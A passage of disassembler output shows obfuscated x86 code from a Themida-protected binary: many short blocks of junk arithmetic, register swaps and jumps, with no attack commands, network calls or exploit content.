		add	esi, edx
		pop	edx
		add	esi, 4
		sub	esp, 4
		jmp	loc_589879
; ---------------------------------------------------------------------------


loc_58A889:				; CODE XREF: sub_584787+1A0Cj
		push	esi
		mov	esi, 33BA47C4h
		jmp	loc_585F4B
; ---------------------------------------------------------------------------


loc_58A894:				; CODE XREF: Themida_:0058F76Cj
		add	ecx, 5D4A6B6Eh
		add	ecx, eax
		sub	ecx, 5D4A6B6Eh
		pop	eax
		push	69DAh
		mov	[esp+34h+var_34], ebx
		push	ebp
		mov	ebp, 74332B2Ah
		mov	ebx, 0DF4F7EBDh
		jmp	loc_58B707
; ---------------------------------------------------------------------------


loc_58A8BB:				; CODE XREF: sub_584787+5437j
		xor	[esp+2Eh+var_30+2], edx
		xor	edx, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], edx
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		push	edx
		push	[esp+32h+var_30+2]
		mov	edx, [esp+36h+var_38+2]
		add	esp, 4
		pop	[esp+32h+var_34+2]
		jmp	loc_588404
; ---------------------------------------------------------------------------


loc_58A8E0:				; CODE XREF: sub_584787+4EFFj
		push	edi
		mov	edi, 740E3816h
		sub	edi, 396C2819h
		dec	edi
		shr	edi, 8
		not	edi
		xor	edi, 0FFC55DF4h
		add	edx, 35B11AB4h
		add	edx, edi
		sub	edx, 35B11AB4h
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		jmp	loc_584F53
; ---------------------------------------------------------------------------


loc_58A91D:				; CODE XREF: sub_584787+1B1Aj
		shr	ecx, 4
		and	ecx, 33AD741Ch
		or	ecx, 2B2C47FDh
		shl	ecx, 8
		jmp	loc_58CABE
; ---------------------------------------------------------------------------


loc_58A934:				; CODE XREF: sub_584787+1A6Fj
		xchg	ecx, ebp
		sub	ebp, 9C18CB9h
		add	edi, ebp
		jmp	loc_5884A5
; ---------------------------------------------------------------------------


loc_58A943:				; CODE XREF: sub_584787+B955j
		inc	eax
		xchg	eax, ecx
		or	ecx, 427A7324h
		push	esi
		mov	esi, 30F63360h
		not	esi
		push	ebx
		mov	ebx, 1844CD5h
		and	esi, ebx
		pop	ebx
		and	esi, 1FB164FAh
		jmp	loc_585D93
; ---------------------------------------------------------------------------


loc_58A967:				; CODE XREF: sub_584787+AFFDj
		shr	eax, 2
		sub	eax, 2C72621Ch
		push	edi
		mov	edi, 45E09E25h
		add	eax, edi
		pop	edi
		xor	ebp, eax
		pop	eax
		add	eax, ebp
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		push	661Bh
		mov	[esp+18h+var_18], esi
		mov	esi, 4E326AA5h
		jmp	loc_585793
; ---------------------------------------------------------------------------


loc_58A998:				; CODE XREF: sub_584787+2A33j
		mov	esi, 0FF04E14h
		mov	eax, esi
		pop	esi
		shr	eax, 6
		sub	eax, 1
		jmp	loc_58F7EA
; ---------------------------------------------------------------------------


loc_58A9AB:				; CODE XREF: sub_584787+57A7j
		xor	edi, [esp+4+var_4]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A9B7:				; CODE XREF: sub_584787+785j
		mov	eax, edx
		pop	edx
		jmp	loc_58AB55
; ---------------------------------------------------------------------------


loc_58A9BF:				; CODE XREF: sub_584787+924Ej
		mov	cx, word ptr [esp+14h+var_14]
		jmp	loc_58B7AA
; ---------------------------------------------------------------------------


loc_58A9C8:				; CODE XREF: sub_584787+714Aj
		push	3B8Ah
		mov	[esp+18h+var_18], ecx
		sub	esp, 4
		jmp	loc_58EB73
; ---------------------------------------------------------------------------


loc_58A9DB:				; CODE XREF: sub_584787+8ABCj
		sub	edx, 7AD9449Bh
		jmp	loc_58841E
; ---------------------------------------------------------------------------


loc_58A9E6:				; CODE XREF: sub_584787+B46Cj
		xchg	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		sub	eax, 4
		xor	eax, [esp+1Ch+var_1C]
		jmp	loc_5899C5
; ---------------------------------------------------------------------------


loc_58A9F9:				; CODE XREF: sub_584787+4AAEj
		sub	eax, 2B8B126Bh
		add	eax, edx
		add	eax, 2B8B126Bh
		push	ebp
		mov	ebp, 0A4334F5h
		sub	eax, ebp
		jmp	loc_5897D1
; ---------------------------------------------------------------------------


loc_58AA12:				; CODE XREF: sub_584787+3477j
		mov	[esp+8+var_8], ebx
		push	eax
		mov	eax, 509835CFh
		add	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		pop	eax
		push	edx
		push	ecx
		mov	ecx, 500B2C73h
		xor	ecx, 0CAA5B39h
		sub	ecx, 6BBE2CCAh
		sub	ecx, 0D7B82B41h
		mov	edx, 5CAA214Eh
		sub	edx, 238020F5h
		add	edx, ecx
		add	edx, 238020F5h
		pop	ecx
		shr	edx, 5
		push	edi
		mov	edi, 11E54C32h
		and	edi, 291F38ABh
		jmp	loc_586260
; ---------------------------------------------------------------------------


loc_58AA6A:				; CODE XREF: sub_584787+2FA8j
		xor	edx, 726696E0h
		mov	esi, 0DDD7A45h
		sub	esi, edx
		pop	edx
		sub	esi, 628B18FFh
		xor	esi, 0A4F9120Fh
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xor	ebx, [esp-8+arg_4]
		jmp	loc_58FC02
; ---------------------------------------------------------------------------


loc_58AA95:				; CODE XREF: sub_584787+9792j
		add	esi, 0D5C4E004h
		add	ebx, esi
		pop	esi
		jmp	loc_58B3B3
; ---------------------------------------------------------------------------


loc_58AAA3:				; CODE XREF: sub_584787+BAE3j
		pop	edx
		pop	ax
		and	ch, 50h
		neg	ch
		push	bx
		jmp	loc_5889F6
; ---------------------------------------------------------------------------


loc_58AAB2:				; CODE XREF: sub_584787+B1C6j
		xor	edx, ebx
		xor	[esp+0], edx
		xor	edx, [esp+0]
		xor	[esp+0], edx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58AAC2:				; CODE XREF: sub_584787+8A6Aj
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-14h+arg_E+2], ebx
		push	7825h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ebx, [esp+0]
		add	esp, 4
		push	ecx
		jmp	loc_585E7E
; ---------------------------------------------------------------------------


loc_58AAE7:				; CODE XREF: sub_584787+9495j
		or	ah, 41h
		neg	ah
		shl	ah, 1
		jmp	loc_58727B
; ---------------------------------------------------------------------------


loc_58AAF3:				; CODE XREF: sub_584787+3F32j
		xchg	ebp, ecx
		sub	ecx, 17105EEh
		dec	ecx
		push	7727h
		mov	[esp+38h+var_38], ebp
		mov	ebp, 11641006h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_58CD11
; ---------------------------------------------------------------------------


loc_58AB11:				; CODE XREF: sub_58FB73+6j
		xor	[esp+34h+var_34], edx
		jmp	loc_586122
; ---------------------------------------------------------------------------


loc_58AB19:				; CODE XREF: sub_584787+658j
		push	edx
		mov	dh, 8Bh
		and	dh, 7
		jmp	loc_586F20
; ---------------------------------------------------------------------------


loc_58AB24:				; CODE XREF: sub_584787+A1FFj
		mov	ecx, [esp+14h+var_14]
		jmp	loc_5868B3
; ---------------------------------------------------------------------------


loc_58AB2C:				; CODE XREF: sub_584787+435Ej
		push	ebx
		push	eax
		jmp	loc_58CB6E
; ---------------------------------------------------------------------------


loc_58AB33:				; CODE XREF: sub_584787+74DCj
		add	ecx, 775E56DFh
		add	ecx, ebx
		sub	ecx, 775E56DFh
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_58698F
; ---------------------------------------------------------------------------


loc_58AB55:				; CODE XREF: sub_584787+6233j
		sub	edi, eax
		pop	eax
		mov	eax, edi
		jmp	loc_58A238
; ---------------------------------------------------------------------------


loc_58AB5F:				; CODE XREF: sub_584787+B5B9j
		add	[esp+10h+var_C], eax
		sub	[esp+10h+var_C], 498A4540h
		pop	eax
		jmp	loc_585C91
; ---------------------------------------------------------------------------


loc_58AB71:				; CODE XREF: sub_584787+9CB1j
		push	421Fh
		mov	[esp+10h+var_10], ebp
		push	5DDBh
		mov	[esp+14h+var_14], eax
		mov	eax, 5A48121Eh
		mov	ebp, 3F201EBBh
		xor	ebp, eax
		pop	eax
		add	eax, ebp
		mov	ebp, [esp+10h+var_10]
		jmp	loc_588FC6
; ---------------------------------------------------------------------------


loc_58AB98:				; CODE XREF: sub_584787+7D9Cj
		add	[esp+10h+var_C], edx
		jmp	loc_58D127
; ---------------------------------------------------------------------------


loc_58ABA1:				; CODE XREF: sub_584787+8723j
		mov	edi, esi
		pop	esi
		or	edi, 5D101AA2h
		shr	edi, 1
		or	edi, 7FA7464Ah
		shr	edi, 8
		jmp	loc_58B7D2
; ---------------------------------------------------------------------------


loc_58ABBA:				; CODE XREF: sub_584787+5CC6j
		shl	ebx, 8
		and	ebx, 7302381Dh
		sub	ebx, 7AEB4BAAh
		jmp	loc_585E93
; ---------------------------------------------------------------------------


loc_58ABCE:				; CODE XREF: sub_584787+69ADj
		neg	bl
		xchg	dl, bl
		jmp	loc_58B3E1
; ---------------------------------------------------------------------------


loc_58ABD7:				; CODE XREF: sub_584787+5994j
		push	[esp+1Eh+var_20+2]
		pop	edx
		add	esp, 4
		add	esp, 4
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58ABEC:				; CODE XREF: sub_584787+A35Bj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		push	ebx
		jmp	loc_584D03
; ---------------------------------------------------------------------------


loc_58AC02:				; CODE XREF: sub_584787+A869j
		xor	ch, 98h
		xor	ch, 0D2h
		add	ch, 0A5h
		sub	ch, 52h
		shl	ch, 1
		shl	ch, 5
		not	ch
		add	ch, 16h
		neg	ch
		shl	ch, 7
		or	ch, 58h
		sub	ch, 0D6h
		add	ch, 37h
		add	al, ch
		pop	ecx
		pop	ecx
		sub	al, bl
		push	1E93h
		mov	[esp+16h+var_18+2], ebx
		mov	bh, 71h
		not	bh
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], edx
		mov	dh, 0Fh
		xor	dh, 5Bh
		or	bh, dh
		pop	edx
		sub	bh, 0B2h
		add	bh, 0A9h
		push	small 0
		jmp	loc_58B917
; ---------------------------------------------------------------------------


loc_58AC58:				; CODE XREF: sub_584787-5j
		push	edi
		mov	edi, 4
		add	ebx, 66365A45h
		add	ebx, edi
		sub	ebx, 66365A45h
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58EEE8
; ---------------------------------------------------------------------------


loc_58AC80:				; CODE XREF: sub_584787+6BEEj
		mov	cl, bl
		jmp	loc_58B7B8
; ---------------------------------------------------------------------------


loc_58AC87:				; CODE XREF: sub_584787+B216j
		pop	ebp
		and	edx, edi
		pop	edi
		push	36E2h
		mov	[esp+0Ah+var_C+2], esi
		mov	esi, 164B6834h
		jmp	loc_58A6CF
; ---------------------------------------------------------------------------


loc_58AC9D:				; CODE XREF: sub_584787+A6E6j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ah+var_C+2]
		pop	esp
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_58C8EF
; ---------------------------------------------------------------------------


loc_58ACB6:				; CODE XREF: sub_584787+B6AAj
		push	esi
		mov	esi, 2
		add	edi, esi
		pop	esi
		xor	edi, [esp+6+var_8+2]
		jmp	loc_58BC68
; ---------------------------------------------------------------------------


loc_58ACC7:				; CODE XREF: sub_584787+73BFj
		pop	ecx
		jmp	loc_58598E
; ---------------------------------------------------------------------------


loc_58ACCD:				; CODE XREF: sub_584787+B881j
		pop	edx
		push	3D0h
		mov	[esp+2+var_4+2], ebx
		jmp	loc_58FB7E
; ---------------------------------------------------------------------------


loc_58ACDB:				; CODE XREF: sub_584787+79CDj
		shl	dl, 1
		add	dl, 40h
		add	bl, dl
		jmp	loc_5854C7
; ---------------------------------------------------------------------------


loc_58ACE7:				; DATA XREF: Themida_:0058432Co
		push	[esp+2+var_4+2]
		jmp	loc_58E91E
; ---------------------------------------------------------------------------


loc_58ACEF:				; CODE XREF: sub_584787+9834j
		dec	bh
		add	bh, 56h
		mov	dh, bh
		pop	ebx
		jmp	loc_589B24
; ---------------------------------------------------------------------------


loc_58ACFC:				; CODE XREF: sub_584787+8FE5j
		sub	al, 0
		pop	ebx
		add	al, ch
		sub	al, 3Eh
		push	dword ptr [esp+0]
		jmp	loc_58B19F
; ---------------------------------------------------------------------------


loc_58AD0B:				; CODE XREF: sub_584787+A08Bj
		mov	esp, [esp+2+var_4+2]
		push	7DB1h
		jmp	loc_590278
; ---------------------------------------------------------------------------


loc_58AD18:				; CODE XREF: sub_584787+5DCAj
		xor	esi, 4B79706Ah
		add	esi, 17F07B65h
		jmp	loc_58C71B
; ---------------------------------------------------------------------------


loc_58AD29:				; CODE XREF: sub_584787+5258j
		add	ebp, 4
		jmp	loc_587668
; ---------------------------------------------------------------------------


loc_58AD34:				; CODE XREF: sub_584787+8585j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	eax
		mov	eax, 60C7044Ch
		or	eax, 12620BEFh
		sub	eax, 72E70FEDh
		mov	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		push	ebx
		push	[esp+18h+var_14]
		push	[esp+1Ch+var_1C]
		pop	ebx
		jmp	loc_58D9CC
; ---------------------------------------------------------------------------


loc_58AD69:				; CODE XREF: sub_584787+BC02j
		or	ah, 9
		inc	ah
		sub	ah, 6Ah
		xor	ah, 86h
		mov	dh, ah
		pop	eax
		xor	al, dh
		mov	dx, word ptr [esp+18h+var_18]
		sub	esp, 4
		jmp	loc_58705C
; ---------------------------------------------------------------------------


loc_58AD85:				; CODE XREF: sub_584787+9530j
		pop	esp
		jmp	loc_585A16
; ---------------------------------------------------------------------------


loc_58AD8B:				; CODE XREF: sub_584787+637j
		pop	edx
		jmp	loc_588ABB
; ---------------------------------------------------------------------------


loc_58AD91:				; DATA XREF: Themida_:005841D4o
		pop	dword ptr [edx]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58AD98:				; CODE XREF: sub_584787+9ACBj
		sub	esi, 0C0113FFh
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 74C556FBh
		push	eax
		mov	eax, 74C556FBh
		sub	ebx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		mov	[edi+24h], ebx
		pop	ebx
		xor	edx, edx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_584B29
; ---------------------------------------------------------------------------


loc_58ADCC:				; CODE XREF: sub_584787+35E2j
		mov	[esp+10h+var_10], esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_58F72D
; ---------------------------------------------------------------------------


loc_58ADD7:				; CODE XREF: sub_584787+4438j
		xor	esi, 27524C78h
		add	esi, 81D0A78Ch
		mov	edx, esi
		pop	esi
		push	ebx
		push	esi
		mov	esi, 7E394CBEh
		jmp	loc_5853F2
; ---------------------------------------------------------------------------


loc_58ADF2:				; CODE XREF: sub_584787+577j
		inc	ecx
		not	ecx
		add	ecx, 0DC8F9864h
		jmp	loc_588D72
; ---------------------------------------------------------------------------


loc_58AE00:				; CODE XREF: sub_584787+24E9j
		mov	[esp-8+arg_4], ecx
		sub	esp, 4
		jmp	loc_58F624
; ---------------------------------------------------------------------------


loc_58AE0B:				; CODE XREF: sub_584787+B50Bj
		add	ebp, 0BA7A9049h
		push	ebx
		mov	ebx, 23940687h
		push	edx
		mov	edx, 6E7A7EFEh
		sub	ebx, edx
		pop	edx
		xor	ebx, 9E1BAF4Eh
		add	edx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	edx, ebp
		push	edi
		mov	edi, 1358601Ch
		dec	edi
		jmp	loc_58A1E5
; ---------------------------------------------------------------------------


loc_58AE3F:				; CODE XREF: sub_584787+1D03j
		push	6CFEh
		mov	[esp+20h+var_20], esi
		mov	esi, esp
		jmp	loc_586C5B
; ---------------------------------------------------------------------------


loc_58AE4E:				; CODE XREF: sub_584787+696Bj
		mov	ecx, 0C317F887h
		add	ecx, 1DE6579Eh
		add	ecx, ebx
		jmp	loc_58E4A1
; ---------------------------------------------------------------------------


loc_58AE60:				; CODE XREF: sub_584787+892Aj
		pop	edi
		xchg	edx, [esp+1Ch+var_1C]
		jmp	loc_585133
; ---------------------------------------------------------------------------


loc_58AE69:				; CODE XREF: sub_584787+1747j
		sub	edx, 4A231F51h
		sub	edx, 148D0A64h
		pop	ebp
		pop	eax
		jmp	loc_58D8FA
; ---------------------------------------------------------------------------


loc_58AE7C:				; CODE XREF: sub_584787+9F31j
		inc	ebx
		jmp	loc_58BD33
; ---------------------------------------------------------------------------


loc_58AE82:				; CODE XREF: sub_584787+A9BCj
		add	esp, 4
		push	0C76h
		jmp	loc_5889CB
; ---------------------------------------------------------------------------


loc_58AE8F:				; CODE XREF: sub_584787+7F8Fj
		push	3802h
		jmp	loc_58E798
; ---------------------------------------------------------------------------


loc_58AE99:				; CODE XREF: sub_584787+854Cj
		push	ebx
		jmp	loc_58EF77
; ---------------------------------------------------------------------------


loc_58AE9F:				; CODE XREF: sub_584787+57AEj
		sub	eax, 5ADD58A9h
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		jmp	loc_584A03
; ---------------------------------------------------------------------------


loc_58AEB3:				; CODE XREF: sub_584787+B726j
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_58C559
; ---------------------------------------------------------------------------


loc_58AEBB:				; CODE XREF: sub_584787+7613j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58AEC4:				; CODE XREF: sub_584787+22B3j
		xor	ecx, 1F2049EEh
		jmp	loc_58E761
; ---------------------------------------------------------------------------


loc_58AECF:				; CODE XREF: sub_584787+83A7j
		add	ebp, 0B877E0ACh
		add	esi, ebp
		pop	ebp
		mov	ebp, esi
		pop	esi
		shl	ebp, 2
		push	eax
		mov	eax, 7ED3DCFh
		not	eax
		add	eax, 7B3B5FD9h
		shl	eax, 7
		add	eax, 0AD348C8h
		xor	eax, 8BAA3761h
		sub	ebp, eax
		jmp	loc_58BB7E
; ---------------------------------------------------------------------------


loc_58AEFF:				; CODE XREF: sub_584787+5A90j
		add	esp, 4
		add	ecx, 0A0B65DC5h
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		mov	edx, 5191AE25h
		push	ecx
		jmp	loc_58A691
; ---------------------------------------------------------------------------


loc_58AF1C:				; CODE XREF: sub_584787+5E45j
		add	esi, 20414972h
		jmp	loc_58A7BC
; ---------------------------------------------------------------------------


loc_58AF27:				; CODE XREF: sub_584787+5748j
		pop	esi
		xor	ebx, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], ebx
		xor	ebx, [esp+3Ch+var_3C]
		pop	esp
		mul	cx
		push	small 710h
		mov	word ptr [esp+3Ah+var_3C+2], dx
		push	ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58AF45:				; CODE XREF: sub_584787+5CA8j
		mov	[esp+26h+var_26], esi
		mov	esi, esp
		jmp	loc_58F259
; ---------------------------------------------------------------------------


loc_58AF4F:				; CODE XREF: sub_584787+69FCj
		pop	ebp
		jmp	loc_5857F1
; ---------------------------------------------------------------------------


loc_58AF55:				; CODE XREF: sub_584787+9091j
		add	esp, 4
		not	ebp
		xor	ebp, 13CA09D1h
		inc	ebp
		xor	ebp, 0A509C5C8h
		mov	ecx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 64FD0CF2h
		jmp	loc_584989
; ---------------------------------------------------------------------------


loc_58AF78:				; CODE XREF: sub_584787+1ED3j
		add	esp, 4
		push	ebp
		jmp	loc_587E7A
; ---------------------------------------------------------------------------


loc_58AF81:				; CODE XREF: sub_584787+284Fj
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58AF8B:				; CODE XREF: sub_584787+47D5j
		pop	esi
		jmp	loc_58DAE3
; ---------------------------------------------------------------------------


loc_58AF91:				; CODE XREF: sub_584787+8598j
		add	ebp, edx
		jmp	loc_586AD0
; ---------------------------------------------------------------------------


loc_58AF98:				; CODE XREF: sub_584787+BD0Dj
		pop	ebx
		add	edi, esi
		push	676Fh
		mov	[esp+46h+var_46], ebx
		mov	ebx, 748B05C6h
		add	edi, ebx
		pop	ebx
		pop	esi
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_5859D3
; ---------------------------------------------------------------------------


loc_58AFBA:				; CODE XREF: sub_584787+B4BFj
		neg	dword ptr [esp+0]
		pop	eax
		sub	eax, 0FFFFFFFFh
		inc	eax
		add	eax, 0BC81FD08h
		push	ebp
		mov	ebp, 71ED512Bh
		dec	ebp
		not	ebp
		neg	ebp
		jmp	loc_585EDB
; ---------------------------------------------------------------------------


loc_58AFD9:				; CODE XREF: sub_584787+4663j
		sub	eax, 75F83B8Dh
		jmp	loc_58F9A2
; ---------------------------------------------------------------------------


loc_58AFE3:				; CODE XREF: sub_584787+9346j
		neg	edx
		xor	edx, 45D003Dh
		sub	edx, 105AA59Eh
		jmp	loc_58EF32
; ---------------------------------------------------------------------------


loc_58AFF6:				; CODE XREF: sub_584787+8249j
		mov	edx, ecx
		pop	ecx
		not	edx
		inc	edx
		not	edx
		neg	edx
		xor	edx, 29220014h
		jmp	loc_58FC6A
; ---------------------------------------------------------------------------


loc_58B00B:				; CODE XREF: sub_584787+5629j
		push	ecx
		mov	ecx, 32022059h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_584875
; ---------------------------------------------------------------------------


loc_58B019:				; CODE XREF: sub_584787+8837j
		xor	eax, 997ACBA0h
		sub	esi, 5D20528Ch
		add	esi, eax
		add	esi, 5D20528Ch
		pop	eax
		push	10BDh
		mov	[esp+18h+var_18], esi
		push	[esp+18h+var_18]
		mov	edi, [esp+1Ch+var_1C]
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		push	esp
		jmp	loc_58BBDD
; ---------------------------------------------------------------------------


loc_58B04A:				; CODE XREF: sub_584787+A00Cj
		not	edx
		add	edx, 21144F9h
		inc	edx
		xor	edx, 6CAC368Ah
		mov	esi, edx
		pop	edx
		jmp	loc_58F853
; ---------------------------------------------------------------------------


loc_58B061:				; CODE XREF: sub_584787+7CDj
		push	1480h
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		xor	edi, [esp-4+arg_0]
		jmp	loc_58EB41
; ---------------------------------------------------------------------------


loc_58B085:				; CODE XREF: sub_584787+1E48j
		mov	[esp-4+arg_0], ecx
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		xor	esi, [esp-8+arg_4]
		xor	[esp-8+arg_4], esi
		xor	esi, [esp-8+arg_4]
		pop	esp
		shr	word ptr [esp-0Ch+arg_8], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58B0A4:				; CODE XREF: sub_584787+F0j
		add	ebx, 32022059h
		jmp	loc_58EC38
; ---------------------------------------------------------------------------


loc_58B0AF:				; CODE XREF: sub_584787+A94Fj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58B2C8
; ---------------------------------------------------------------------------


loc_58B0BB:				; CODE XREF: sub_584787+585Cj
		xor	bl, dl
		add	bl, 0F5h
		neg	bl
		jmp	loc_58E4C8
; ---------------------------------------------------------------------------


loc_58B0C7:				; CODE XREF: sub_584787+4CD1j
		push	52D14C7Ch
		pop	ecx
		or	ecx, 438D34A3h
		or	ecx, 6C0E64FEh
		sub	ecx, 24E62058h
		push	ecx
		jmp	loc_588EAD
; ---------------------------------------------------------------------------


loc_58B0E5:				; CODE XREF: sub_584787+2874j
		push	1B78h
		mov	[esp+0], ebx
		mov	ebx, 3CE80778h
		jmp	loc_58AE4E
; ---------------------------------------------------------------------------


loc_58B0F7:				; CODE XREF: sub_584787+94E5j
		push	small 5A57h
		mov	dx, word ptr [esp+2+var_4+2]
		add	esp, 2
		push	eax
		mov	ax, dx
		push	ax
		add	word ptr [esp+4+var_4],	310Dh
		jmp	loc_5874D3
; ---------------------------------------------------------------------------


loc_58B116:				; CODE XREF: sub_584787+2C59j
		push	21DEh
		jmp	loc_585221
; ---------------------------------------------------------------------------


loc_58B120:				; CODE XREF: sub_584787+235Aj
		sub	eax, 3A6D5A0Fh
		push	esi
		mov	esi, 0FAD4757h
		not	esi
		jmp	loc_586629
; ---------------------------------------------------------------------------


loc_58B132:				; CODE XREF: sub_584787+BAECj
		dec	bl
		jmp	loc_58ABCE
; ---------------------------------------------------------------------------


loc_58B139:				; CODE XREF: sub_584787+16D6j
		mov	bh, byte ptr [esp+10h+var_10]
		add	esp, 2
		push	ecx
		mov	ch, 78h
		sub	ch, 0CBh
		sub	ch, 0FDh
		jmp	loc_58692F
; ---------------------------------------------------------------------------


loc_58B14D:				; CODE XREF: sub_584787+809Ej
		mov	eax, 4
		jmp	loc_58C39B
; ---------------------------------------------------------------------------


loc_58B157:				; CODE XREF: sub_584787+3A95j
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_58C4BA
; ---------------------------------------------------------------------------


loc_58B15F:				; CODE XREF: sub_584787+9DB2j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+10h+var_C]
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		jmp	loc_58C201
; ---------------------------------------------------------------------------


loc_58B17D:				; CODE XREF: sub_584787+6CE0j
		add	ecx, 796545DBh
		jmp	loc_58AF4F
; ---------------------------------------------------------------------------


loc_58B188:				; CODE XREF: sub_584787+7172j
		push	esi
		mov	esi, 74A369E9h
		sub	esi, 669D4A68h
		add	esi, 0F5B40B9h
		jmp	loc_58D48E
; ---------------------------------------------------------------------------


loc_58B19F:				; CODE XREF: sub_584787+657Fj
		pop	ecx
		jmp	loc_5872B2
; ---------------------------------------------------------------------------


loc_58B1A5:				; CODE XREF: sub_584787+853Fj
		push	ebx
		jmp	loc_585173
; ---------------------------------------------------------------------------


loc_58B1AB:				; CODE XREF: sub_584787+B53Cj
		push	edx
		jmp	loc_58BBAD
; ---------------------------------------------------------------------------


loc_58B1B1:				; CODE XREF: sub_584787+1521j
		add	ebx, ecx
		add	ebx, 3BE6FDEh
		jmp	loc_58B76C
; ---------------------------------------------------------------------------


loc_58B1BE:				; CODE XREF: sub_584787+BA34j
		not	esi
		dec	esi
		jmp	loc_586B0A
; ---------------------------------------------------------------------------


loc_58B1C6:				; CODE XREF: sub_584787+F3Fj
		add	esi, 4
		xor	esi, [esp+34h+var_34]
		xor	[esp+34h+var_34], esi
		xor	esi, [esp+34h+var_34]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp+30h+var_30]
		xor	[esp+30h+var_30], ebp
		xor	ebp, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		mov	ax, word ptr [esp+30h+var_30]
		push	618Fh
		mov	[esp+34h+var_34], ecx
		push	esp
		mov	ecx, [esp+38h+var_38]
		add	esp, 4
		add	ecx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_586953
; ---------------------------------------------------------------------------


loc_58B209:				; CODE XREF: sub_584787+429Aj
		mov	ebx, [esp+2Eh+var_30+2]
		add	esp, 4
		xchg	dh, ch
		xor	byte ptr [esp+2Ah+var_2C+2], ch
		jmp	loc_58F63C
; ---------------------------------------------------------------------------


loc_58B21C:				; CODE XREF: sub_584787+6BDj
		xchg	al, ch
		xchg	ch, bh
		mov	cl, bh
		jmp	loc_58812D
; ---------------------------------------------------------------------------


loc_58B227:				; CODE XREF: sub_584787+9AE8j
		push	ecx
		push	61A3h
		jmp	loc_58A283
; ---------------------------------------------------------------------------


loc_58B232:				; CODE XREF: sub_584787+177Ej
		sub	edx, ecx
		pop	ecx
		jmp	loc_58FED3
; ---------------------------------------------------------------------------


loc_58B23A:				; CODE XREF: sub_584787+905j
		add	edi, 443214DBh
		jmp	loc_58F5C1
; ---------------------------------------------------------------------------


loc_58B245:				; CODE XREF: sub_584787+7DC4j
		mov	ecx, 408647A6h
		dec	ecx
		sub	ecx, 0C3A2E4D3h
		xor	edx, ecx
		jmp	loc_58EE7E
; ---------------------------------------------------------------------------


loc_58B258:				; CODE XREF: sub_584787+ADEj
		mov	ebx, esp
		add	ebx, 4
		push	17FAh
		mov	[esp+0], ecx
		mov	ecx, 4
		add	ebx, 4F933AE0h
		add	ebx, ecx
		jmp	loc_584EB5
; ---------------------------------------------------------------------------


loc_58B27A:				; CODE XREF: sub_584787+CB8j
		shr	ecx, 8
		add	ecx, 7E739D12h
		jmp	loc_589027
; ---------------------------------------------------------------------------


loc_58B288:				; CODE XREF: sub_584787+A9DAj
		mov	[esp+10h+var_10], ebx
		mov	bh, 0EFh
		mov	dh, 91h
		jmp	loc_58D7FE
; ---------------------------------------------------------------------------


loc_58B294:				; CODE XREF: sub_584787+485j
		add	esp, 4
		xor	bl, al
		push	7DF5h
		jmp	loc_58B382
; ---------------------------------------------------------------------------


loc_58B2A3:				; CODE XREF: sub_584787+9B2Aj
		pop	ebx
		add	esp, 4
		push	edx
		jmp	loc_589AFC
; ---------------------------------------------------------------------------


loc_58B2B0:				; CODE XREF: sub_584787+813Fj
		dec	esi
		neg	esi
		sub	esi, 0DB0A273Ch
		jmp	loc_58A479
